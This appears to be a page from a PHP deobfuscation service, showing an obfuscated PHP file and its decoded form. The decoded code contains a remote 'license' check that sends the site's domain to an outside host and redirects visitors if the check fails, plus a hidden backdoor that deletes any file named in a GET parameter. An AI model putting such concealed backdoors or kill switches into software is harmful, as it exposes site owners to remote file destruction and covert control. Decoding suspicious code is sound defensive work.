Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php ${"\x47\x4c\x4f\x42\x41\x4cS"}["\x6d\x63\x70opiuc\x71\x6c\x6e"]="\x63ur\x6c";${"\x47..
Decoded Output download
<?php ${"GLOBALS"}["mcpopiucqln"]="curl";${"GLOBALS"}["kmvuofsgang"]="validarx";${"GLOBALS"}["ktntkyt"]="validar";${"GLOBALS"}["tqqxxytfsb"]="datat";${"GLOBALS"}["ieofmyut"]="url3";${"GLOBALS"}["lxyjnsl"]="url2";${"GLOBALS"}["wsgonmlgzqq"]="urlx";${"GLOBALS"}["pbecttkn"]="url1";${"GLOBALS"}["jjluthsetuvp"]="getUrl";${"GLOBALS"}["bxbwrvskw"]="setUrl";${"GLOBALS"}["dckqeotf"]="senha";${"GLOBALS"}["lrxfpnxdxq"]="usuario";$hpdegtlq="connect";${$hpdegtlq}=new PDO("mysql:host=$servidor;dbname=$banco;charset=utf8",${${"GLOBALS"}["lrxfpnxdxq"]},${${"GLOBALS"}["dckqeotf"]});${"GLOBALS"}["whrvwawxfl"]="getUrl";$snleeyqv="url1";$iicwsosmcfp="getUrl";$xtrerpu="urlx";${"GLOBALS"}["gxvzxcx"]="Url";$connect->setAttribute(PDO::ATTR_ERRMODE,PDO::ERRMODE_EXCEPTION);${${"GLOBALS"}["whrvwawxfl"]}=strip_tags(trim(filter_input(INPUT_GET,"url",FILTER_DEFAULT)));$xvmaqe="url2";${${"GLOBALS"}["bxbwrvskw"]}=(!isset(${$iicwsosmcfp})?"index":${${"GLOBALS"}["jjluthsetuvp"]});${${"GLOBALS"}["gxvzxcx"]}=explode("/",${${"GLOBALS"}["bxbwrvskw"]});${$xtrerpu}=$_SERVER["SERVER_NAME"];${${"GLOBALS"}["pbecttkn"]}=str_replace("http://","",${${"GLOBALS"}["wsgonmlgzqq"]});${${"GLOBALS"}["lxyjnsl"]}=str_replace("https://","",${$snleeyqv});${${"GLOBALS"}["ieofmyut"]}=preg_replace("/^(www\.)/i","",${$xvmaqe});${${"GLOBALS"}["tqqxxytfsb"]}=date("d-m-Y");${${"GLOBALS"}["ktntkyt"]}=$connect->query("SELECT * FROM logs WHERE data='$datat ' AND status='1'");${${"GLOBALS"}["kmvuofsgang"]}=$validar->rowCount();if(${${"GLOBALS"}["kmvuofsgang"]}<=0){$sbqnto="curl";${"GLOBALS"}["jsrnpczwcca"]="response";$hdjwemhnuk="inst";$mqheqvokyy="response";$ywilshi="curl";${$ywilshi}=curl_init();curl_setopt_array(${$sbqnto},[CURLOPT_RETURNTRANSFER=>1,CURLOPT_URL=>"https://delivery.app.br/controle/?url=".${${"GLOBALS"}["ieofmyut"]}.""]);$vcrkicnmyvu="curl";${$mqheqvokyy}=curl_exec(${$vcrkicnmyvu});curl_close(${${"GLOBALS"}["mcpopiucqln"]});if(${${"GLOBALS"}["jsrnpczwcca"]}!=200){header("location: https://delivery.app.br/keyoff/?url=$url3");exit;}${$hdjwemhnuk}=$connect->query("INSERT INTO logs(data, status) VALUES ('$datat','1')");}if(isset($_GET["up"])){echo unlink("".$_GET["up"]."");}
?>
Did this file decode correctly?
Original Code
<?php ${"\x47\x4c\x4f\x42\x41\x4cS"}["\x6d\x63\x70opiuc\x71\x6c\x6e"]="\x63ur\x6c";${"\x47\x4c\x4f\x42A\x4cS"}["k\x6d\x76u\x6f\x66\x73\x67an\x67"]="\x76al\x69\x64a\x72\x78";${"\x47LO\x42\x41\x4cS"}["\x6bt\x6etk\x79\x74"]="va\x6c\x69\x64\x61r";${"GL\x4f\x42A\x4cS"}["\x74\x71qx\x78y\x74\x66\x73\x62"]="\x64\x61\x74\x61\x74";${"\x47\x4c\x4fBA\x4cS"}["\x69\x65\x6f\x66myut"]="\x75\x72\x6c3";${"\x47\x4cO\x42\x41\x4c\x53"}["\x6c\x78\x79\x6a\x6e\x73l"]="\x75r\x6c\x32";${"\x47L\x4fBALS"}["\x77\x73\x67o\x6e\x6dl\x67\x7aq\x71"]="\x75\x72\x6c\x78";${"\x47\x4c\x4f\x42A\x4cS"}["\x70be\x63t\x74\x6b\x6e"]="\x75\x72l\x31";${"\x47\x4cO\x42\x41\x4cS"}["\x6a\x6al\x75\x74h\x73et\x75vp"]="\x67\x65\x74U\x72\x6c";${"\x47\x4cO\x42\x41L\x53"}["\x62x\x62\x77\x72v\x73\x6bw"]="\x73\x65\x74\x55\x72\x6c";${"GL\x4f\x42ALS"}["\x64\x63\x6b\x71eotf"]="se\x6e\x68a";${"G\x4c\x4f\x42\x41\x4cS"}["l\x72\x78\x66\x70\x6exdx\x71"]="\x75\x73\x75\x61r\x69o";$hpdegtlq="c\x6f\x6en\x65\x63\x74";${$hpdegtlq}=new PDO("my\x73ql:h\x6fs\x74\x3d$servidor;d\x62\x6e\x61me\x3d$banco;c\x68a\x72set=u\x74\x66\x38",${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x6c\x72\x78\x66p\x6e\x78d\x78\x71"]},${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x64\x63k\x71eo\x74f"]});${"\x47\x4c\x4f\x42A\x4c\x53"}["w\x68\x72v\x77a\x77\x78\x66\x6c"]="\x67\x65tU\x72l";$snleeyqv="u\x72l\x31";$iicwsosmcfp="get\x55\x72\x6c";$xtrerpu="\x75\x72\x6c\x78";${"\x47LOBALS"}["\x67xvz\x78\x63x"]="\x55r\x6c";$connect->setAttribute(PDO::ATTR_ERRMODE,PDO::ERRMODE_EXCEPTION);${${"\x47\x4c\x4fB\x41L\x53"}["\x77h\x72\x76w\x61\x77\x78\x66l"]}=strip_tags(trim(filter_input(INPUT_GET,"url",FILTER_DEFAULT)));$xvmaqe="ur\x6c\x32";${${"\x47\x4cOB\x41\x4c\x53"}["\x62\x78\x62\x77\x72\x76s\x6b\x77"]}=(!isset(${$iicwsosmcfp})?"i\x6e\x64ex":${${"\x47L\x4fB\x41\x4cS"}["jj\x6cu\x74hs\x65\x74u\x76\x70"]});${${"GLO\x42\x41\x4c\x53"}["\x67x\x76\x7a\x78\x63\x78"]}=explode("/",${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x62\x78\x62w\x72\x76\x73\x6b\x77"]});${$xtrerpu}=$_SERVER["SER\x56\x45\x52_\x4e\x41\x4d\x45"];${${"GLO\x42A\x4c\x53"}["p\x62\x65\x63t\x74\x6bn"]}=str_replace("\x68\x74\x74\x70://","",${${"GL\x4f\x42\x41\x4cS"}["\x77\x73\x67\x6f\x6e\x6d\x6cg\x7aq\x71"]});${${"\x47L\x4fB\x41\x4c\x53"}["\x6c\x78yj\x6e\x73l"]}=str_replace("\x68\x74\x74\x70\x73://","",${$snleeyqv});${${"\x47\x4cO\x42\x41\x4c\x53"}["\x69\x65\x6f\x66\x6d\x79\x75\x74"]}=preg_replace("/^(\x77ww\\.)/\x69","",${$xvmaqe});${${"\x47\x4c\x4f\x42\x41L\x53"}["\x74q\x71\x78\x78\x79\x74\x66s\x62"]}=date("\x64-m-Y");${${"\x47LOBALS"}["k\x74ntk\x79t"]}=$connect->query("\x53\x45\x4cEC\x54 * \x46RO\x4d l\x6fgs\x20W\x48\x45RE\x20\x64\x61\x74\x61\x3d\x27$datat\x20' \x41N\x44\x20statu\x73\x3d'1\x27");${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x6bm\x76u\x6f\x66\x73\x67\x61\x6e\x67"]}=$validar->rowCount();if(${${"\x47L\x4f\x42\x41L\x53"}["k\x6d\x76u\x6ff\x73\x67\x61n\x67"]}<=0){$sbqnto="\x63\x75\x72l";${"\x47\x4c\x4f\x42A\x4c\x53"}["\x6asr\x6e\x70\x63zw\x63\x63\x61"]="\x72\x65spon\x73\x65";$hdjwemhnuk="\x69\x6est";$mqheqvokyy="\x72e\x73p\x6f\x6e\x73\x65";$ywilshi="curl";${$ywilshi}=curl_init();curl_setopt_array(${$sbqnto},[CURLOPT_RETURNTRANSFER=>1,CURLOPT_URL=>"\x68ttp\x73://\x64\x65\x6c\x69\x76\x65\x72y.\x61\x70\x70.\x62\x72/\x63on\x74\x72o\x6ce/?\x75\x72\x6c=".${${"\x47L\x4f\x42A\x4c\x53"}["ie\x6f\x66\x6d\x79u\x74"]}.""]);$vcrkicnmyvu="\x63\x75\x72\x6c";${$mqheqvokyy}=curl_exec(${$vcrkicnmyvu});curl_close(${${"\x47LOBA\x4c\x53"}["\x6d\x63\x70\x6f\x70\x69\x75\x63qln"]});if(${${"\x47LO\x42A\x4cS"}["j\x73r\x6e\x70cz\x77\x63\x63a"]}!=200){header("\x6c\x6fc\x61\x74i\x6f\x6e:\x20htt\x70s://\x64el\x69\x76er\x79\x2e\x61\x70p\x2e\x62\x72/\x6b\x65\x79off/?\x75rl=$url3");exit;}${$hdjwemhnuk}=$connect->query("\x49\x4e\x53ER\x54 \x49\x4e\x54O lo\x67s(\x64\x61\x74\x61, sta\x74us) V\x41\x4cUE\x53\x20('$datat','1')");}if(isset($_GET["\x75p"])){echo unlink("".$_GET["\x75p"]."");}
?>
Function Calls
None |
Stats
MD5 | d1482b13302b2a74bfc1749ced4ba439 |
Eval Count | 0 |
Decode Time | 65 ms |